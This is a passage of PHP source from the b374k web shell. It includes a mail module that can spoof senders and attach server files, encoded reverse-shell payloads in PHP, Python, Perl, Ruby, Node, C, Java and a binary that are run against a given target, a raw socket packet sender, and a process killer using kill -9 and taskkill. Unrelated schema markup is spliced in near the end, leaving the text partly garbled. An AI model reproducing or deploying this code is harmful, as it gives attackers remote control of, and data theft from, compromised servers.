$GLOBALS['module']['mail']['js_ontabselected'] = "if(!portableMode) $('#mailFrom').focus();";
$GLOBALS['module']['mail']['content'] = "
";
if(!function_exists('send_email')){
function send_email($from, $to, $subject, $msg, $attachment){
$headers = "MIME-Version: 1.0\r\nFrom: ".$from."\r\nReply-To: ".$from."\r\n";
$rand = md5(time());
$headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"\r\n\r\n";
$headers .= "--".$rand."\r\n";
$headers .= "Content-Type: text/html; charset=\"UTF-8\"\r\nContent-Transfer-Encoding: 8bit\r\n\r\n";
$headers .= $msg."\r\n\r\n";
if(count($attachment)>0){
foreach($attachment as $file){
if(is_file($file)){
$content = chunk_split(base64_encode(read_file($file)));
$headers .= "--".$rand."\r\n";
$headers .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"\r\n";
$headers .= "Content-Transfer-Encoding: base64\r\n";
$headers .= "Content-Disposition: attachment\r\n\r\n";
$headers .= $content."\r\n\r\n";
}
}
}
$headers .= "--".$rand."--\r\n";
if(@mail($to, $subject, "", $headers)) return true;
return false;
}
}
if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailContent'])){
$mailFrom = trim($p['mailFrom']);
$mailTo = trim($p['mailTo']);
$mailSubject = trim($p['mailSubject']);
$mailContent = trim($p['mailContent']);
$mailAttachment = trim($p['mailAttachment']);
$mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachment']):array();
if(empty($mailTo)) output("Please specify at least one recipient");
if(empty($mailFrom)) $mailFrom = "anonymous@anonymous.com";
foreach($mailAttachment as $file){
$file = trim($file);
if(empty($file)) continue;
if(!is_file($file)) output("No such file : ".$file);
}
if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($to));
output("Failed to send mail");
}
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";
$remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:"";
$default_port = 13123;
$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "executable ":"";
$GLOBALS['resources']['rs_php'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy5qDHDSzN8R5HFl/yrlNi8yyOmWD8QvMFs+fyF88sXz2BAtOTzajh0Az+11zWdu2Pjz4lU+XpsepJboMPbR9DeWEpJ5Ah5wtahfB8xkqJX5uZWY18kBg0RdHHF0eyCpojfGVMzMInBxHGRqUiPRIyzOssaBLgKPvI1T2AuDyGcDly4CP5xw9Ie+49Nc63+dP9qG9jnKjWXvGH/Tdi6IV6iCKtRUtT9DGqQLv8T9q25erF3yResF/Vr3gknp9Sq/gf706OwEv6RV8nl7BV9IruKwG8K/pFXxtvYLP0at/LFJvb/4G";
$GLOBALS['resources']['rs_python'] = "rVRtb9owEP6c/IrUnYYtUlNoq010QUJtOlVbWwRM+9B2KDgHiQpOZDst/fc7JykwxNQPmxBJ7sV399w958ODVqFVa5rKFshnL381SSbdQy8xJtfdVmuemqSYcpEtW9OTT6dP1dNNl3mmjKfA18U0V5kArf1M+/oV/5l4AuObdAluHhDiJvYRw8zTCSwWVLCu69gzweYsH2Q5SCr80iUYqwIjmzgrzB9O14PQqkGpfepU7mqZ6ygwhZKe1fIqIlcQxZQ131QYbUu1zA1lHKTIYqCNwsyOPjeYW5YfCZNmsqo/nXmZ5jJawkFApCGocmaB4LN0ATKjmNhBO7bDwJISWJXtGofDm2BlQC3PB6N20Pgw+HnZa5zXVlSdl4PQiXeUel8+kqY2is5Yk3i9baGzkTAPLDTY7C8JpvZs56zkGPVavh2FVSkQz7R93DllPIYSGSmREVunAysBuam880jrUldHdSxShEQV6x1XCmcaKOAaIiUSSkT84NH7Xw/6scmIr/zZIppr63D99fZuGF70RyGrjmGgaR2hbl8emYSnOk4VnfK5yoqcthl787ENFMmOsbbh4EDG9G/zqt02IDCYpVLJP8W2iiiMF8m4RIjfFmMd2kruOohX0+gqQqliw1vu7ppj5EGSJhY9ByNeLJ1Ij7jzAEnAIzV/dutOzlkQdOwKBPP79qMLiy39yUbvJPjuWDvmh1VqED7uUyoNzZmrg2rNePWitdS/mlzfhuN6B/no7uLbZDQehv0bPILAjDVk+dp/dPd9Yp22j0yG4Y9R2L+8HPqYcadozZGhMaXkmJc/4ue225ovUqS6pGcoWOrhKkcsQODCcsvuw4Zl9mbgegFgJ7oh8L6Vehs0JeW9U90gXtcTmZQgDMTY8r3TX4/+vQBkvfR746x33t2ZkgXpIUGrOJQmVSP2ojx7D6X+V5T6v6DU7Dc=";
$GLOBALS['resources']['rs_perl'] = "lZJhb9MwEIY/17/CZF6bSIG0DAmpJhVVmqFqa1PFHQhRiNL0WKylcRS7rKgrvx0ny2gEQoJ8sO5en56zHuXsmbOTpbPmuQP5N1xAmaEznCpVyKHj3HKV7tYvErF11hevX909nmgnAU+D4ZCJ5A4URURIl3wJdCFT14B9IUqFl344c/cKyi1dsIHbW5HFh8lq1KPNvQ5pvVem+Dk3KOJfzQr0Y+vc65Rbh5p27gUztvC9c+xcGfSIiHJvQRWlUGL9PY+3YPZUUvQsimT9GpPZ3cVlNJ37S7vLAu8qYsvQH89soqyHhw0H06pXvR2H79677sA6oA4pXFK1n/qfKepIUBVKFBWLBddRRdE0FkShf8P88WQS2gNN6ejXb/RMNR1vNmXEc5MU9nReTUTj+UfrtLGTcakg19MXrTBOEtBrPJtZ9WKN82yjloxlClmGhzgReQ6Jgs0qN+x+NScKyDFbTqZz23jT9Qz6FAQ3S9sYtRM/DJsEdWAPCdZOT+uTTEgwPYs+FuxXUbFbjea2Os20ahxXuE8ROiLI5Mnoyz+NkrTpBnXHXZ6DimIltK+0pYPE7m8uCW9dNya0QxK34lob+zdtZqNt1GWGRZ+Sxls7asRV0d/N/ZewWhMcKm2m/nuOSH8/AQ==";
$GLOBALS['resources']['rs_ruby'] = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
$GLOBALS['resources']['rs_node'] = "nVHLbsIwEDwbiX+IcokjIVsqSJVAnPoJPdKHjLNgq46T2g5UQvx7/QgU6ENVcrCyO7Ozu7OUZsK51s4p3UonujXhTU3X0/vZW3rHox0zmW3ZXmfLzMB7Jw3gggupqtfWNBysLUoSCYtE1uAuqT4syh6yzgCrL9GUORN4o22j4KpVSkVKryJAKU8p6FpqakXhEbnB/TSkVcxtGlOTmjkuMH3Ze5Ysy686XlcEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ=";
$GLOBALS['resources']['rs_gcc'] = "rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVDBybIC6WlNA0LlBThz+/z5xf9ZopSEKJCLxOvaYPuqYa0M3iJCki4Ag0DAtsfg4C3/xSg5YEHi3iFWTboPspGgz7084ez0WhglQJLnGsBOCylzdznN8Uo92S5adkZngw7PZ646g7/FbSZGDviyt1MhndfY4m03G/+0DalsKU4YhcYanL95GhlMxo3P8y6Rs9ciaIhCcmFlhU/Rf4jXTYBhS2MnPgiRbAJzdHTecMSHvjWVamB8q45n0oUxrElLKyc3t/HK1DScMuhExZlqFrRAXnjCqW/OAN4l9V3GSd+5p7lHiHiW8lt7rpCjfYxowUTfvjh2CjWLHqhBMvOH8Xfu3dnneqqoZ0yChy9Y1cmaL30LBnzYRkmJr4uV5jmWRob+fl69tpFrKMLNGf2Sk/sULsEKJnnelp7ggX3sUhstP+5w4MwnA8mo6i6V248xVXw/6rm9UmnNQcx7lpH25E6aT8DyflceIdJq/vpLROPtdfAA==";
$GLOBALS['resources']['rs_java'] = "lVRNb9swDD2nQP+D4JM9BHaTDdjWIsOwYYcBAzosvXXBICuMrdWWBYnOB9L891Gy7LhrLz1Ekcgn8vGRcpaxElHb6ywrJJZtnoqmzvK37989dOvlhax1Y5D95VueyiZ9c/PUpAC97fJCt3klBRMVt5b5y3+MPV5eTLSRW47ALHIkwEYqXgWYRgZ7BLW27K40wNcOP1z4rnSLSyR7zaS9GbtuWzz7mhY9A3J3HDTGT+9On11IjlhKm0q7oMh+S8aFi3TqQn2+3YIxcg2juNtGrplpVZx4nhM0h24zyQ8I9yuWswVTsGP++GH2cb666fxSIRPkpDyuzDhPgmNXygpi8WlxlbAQa0Is0p2RCHE+vZqKHurtm6q1ZTyYXox58n/dKjiKMv62F6BRNopBcoSUVFSkBRcPd4YLoHAe7Jau+lBv6Jgvu+ZSxaSfVAUVyk1hOxFcZW4cfO7Oz0S9Jl5RlkuV2TLyLrmJlweLUKcF4E/TaDB4iKPGporXECUpNj+aHZiv3BKhVKo17G83cbSTKkqcPMcQlf6ijm/ItnNWP3DMllBV7JqJRikQCOvfqss+6s/OEfhCZxtkXDbiAZCVoXfdMfiGDhN9V3NagSqwXCxmYQQm/iksaFYRCjCp5sYCHTz6/mrV92QJhuYppLJ9qpExdoF6tONiUy5c1/pmd/2EygL7n8z8tWQ64aQmrHfNVqPEIxGknrIRr9PLUrDHR/Yyn/ErLKQru3Tqj8zDKD95oEUzYMf2AUz+/oX0JhopAe6TQhd/tQplDe562NJEwR5ETMOThG8FqUWTOwsFk876GbWpI9IncOj5GV24r4p+znCAz1J6Psa1T8+H7VlGv7ziddLv9A8=";
$GLOBALS['resources']['rs_executable'] = "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";
$GLOBALS['module']['network']['id'] = "network";
$GLOBALS['module']['network']['title'] = "Network";
$GLOBALS['module']['network']['js_ontabselected'] = "";
$GLOBALS['module']['network']['content'] = "
";
if(isset($p['rsLang']) && isset($p['rsArgs'])){
$rsLang = $p['rsLang'];
$rsArgs = $p['rsArgs'];
$res = "";
if($rsLang=="php"){
$code = get_resource("rs_".$rsLang);
if($code!==false){
$code = "\$target = \"".$rsArgs."\"; ?>".$code;
$res = eval_go($rsLang, $code, "", "");
}
}
else{
$code = get_resource("rs_".$rsLang);
if($code!==false){
$res = eval_go($rsLang, $code, "", $rsArgs);
}
}
if($res===false) $res == "error";
output(html_safe($res));
}
elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&isset($p['packetTimeout'])&&isset($p['packetContent'])){
$packetHost = trim($p['packetHost']);
if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost;
$packetPort = (int) $p['packetPort'];
$packetTimeout = (int) $p['packetTimeout'];
$packetSTimeout = (int) $p['packetSTimeout'];
$packetContent = $p['packetContent'];
if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent);
else{
$packetContent = str_replace(array("\r","\n"), "", $packetContent);
$packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent);
}
$res = "";
$sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout);
if(!$sock){
$res .= "";
$res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")
";
}
else{
stream_set_timeout($sock, $packetSTimeout);
fwrite($sock, $packetContent."\r\n\r\n\x00");
$counter = 0;
$maxtry = 1;
$bin = "";
do{
$line = fgets($sock, 1024);
if(trim($line)=="") $counter++;
$bin .= $line;
}while($counter<$maxtry);
fclose($sock);
$res .= "";
}
output($res);
}
$GLOBALS['module']['processes']['id'] = "processes";
$GLOBALS['module']['processes']['title'] = "Processes";
$GLOBALS['module']['processes']['js_ontabselected'] = "show_processes();";
$GLOBALS['module']['processes']['content'] = "";
if(!function_exists('show_processes')){
function show_processes(){
$output = '';
$wcount = 11;
if(is_win()){
$cmd = "tasklist /V /FO csv";
$wexplode = "\",\"";
}
else{
$cmd = "ps aux";
$wexplode = " ";
}
$res = execute($cmd);
if(trim($res)=='') return false;
else{
$output .= "";
if(!is_win()) $res = preg_replace('#\ +#',' ',$res);
$psarr = explode("\n",$res);
$fi = true;
$tblcount = 0;
$check = explode($wexplode,$psarr[0]);
$wcount = count($check);
foreach($psarr as $psa){
if(trim($psa)!=''){
if($fi){
$fi = false;
$psln = explode($wexplode, $psa, $wcount);
$output .= "
action ";
foreach($psln as $p) $output .= "".trim(trim(strtolower($p)) ,"\"")." ";
$output .= " ";
}
else{
$psln = explode($wexplode, $psa, $wcount);
$pid = trim(trim($psln[1]),"\"");
$tblcount = 0;
$output .= "";
foreach($psln as $p){
if(trim($p)=="") $p = " ";
$p = trim(trim($p) ,"\"");
$p = html_safe($p);
if($tblcount == 0){
$output .= "
kill ".$p." ";
$tblcount++;
}
else{
$tblcount++;
if($tblcount == count($psln)) $output .= "".$p." ";
else $output .= "".$p." ";
}
}
$output .= " ";
}
}
}
$colspan = count($psln)+1;
$colspanAll = $colspan+1;
$output .= "
kill selected refresh
";
}
return $output;
}
}
if(isset($p['showProcesses'])){
$processes = show_processes();
if($processes!==false) output($processes);
output('error');
}
elseif(isset($p['allPid'])){
$allPid = explode(" ", $p['allPid']);
$counter = 0;
foreach($allPid as $pid){
$pid = trim($pid);
if(!empty($pid)){
if(function_exists("posix_kill")){
if(posix_kill($pid,'9')) $counter++;
}
else{
if(is_win()){
$cmd = execute("taskkill /F /PID ".$pid);
$cmd = execute("tasklist /FI \"PID eq ".$pid."\"");
if(strpos($cmd,"No tasks are running")!==false) $counter++;
}
else{
$cmd = execute("kill -9 ".$pid);
if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){
$cmd = trim(execute("ps -p ".$pid));
$check = explode("\n", $cmd);
if(count($check)==1) $counter++;
}
}
}
}
}
if($counter>0) output($counter);
else output('error');
}
$error = @ob_get_contents();
$error_html = (!empty($error))?"".html_safe($error)."
":"";
@ob_end_clean();
?>
'>
",
"upvoteCount": 11250,
"url": "/registerseller/",
"datePublished": "2023-02-14T16:34-05:00",
"author": {
"@type": "Person",
"name": "Madhu Sara",
"url": "https://www.saranextgen.com/india/"
}
}
}
}
";
echo $res;
}
}
if(!isset($c['pass']) || (isset($c['pass'])&&($c['pass']!=$GLOBALS['pass']))){
$res = "
You need to enable javascript
";
echo $res;
die();
}
}
}
}
if(!function_exists('get_server_info')){
function get_server_info(){
$server_info['uname'] = php_uname();
$server_info['software'] = getenv("SERVER_SOFTWARE")." | PHP ".phpversion();
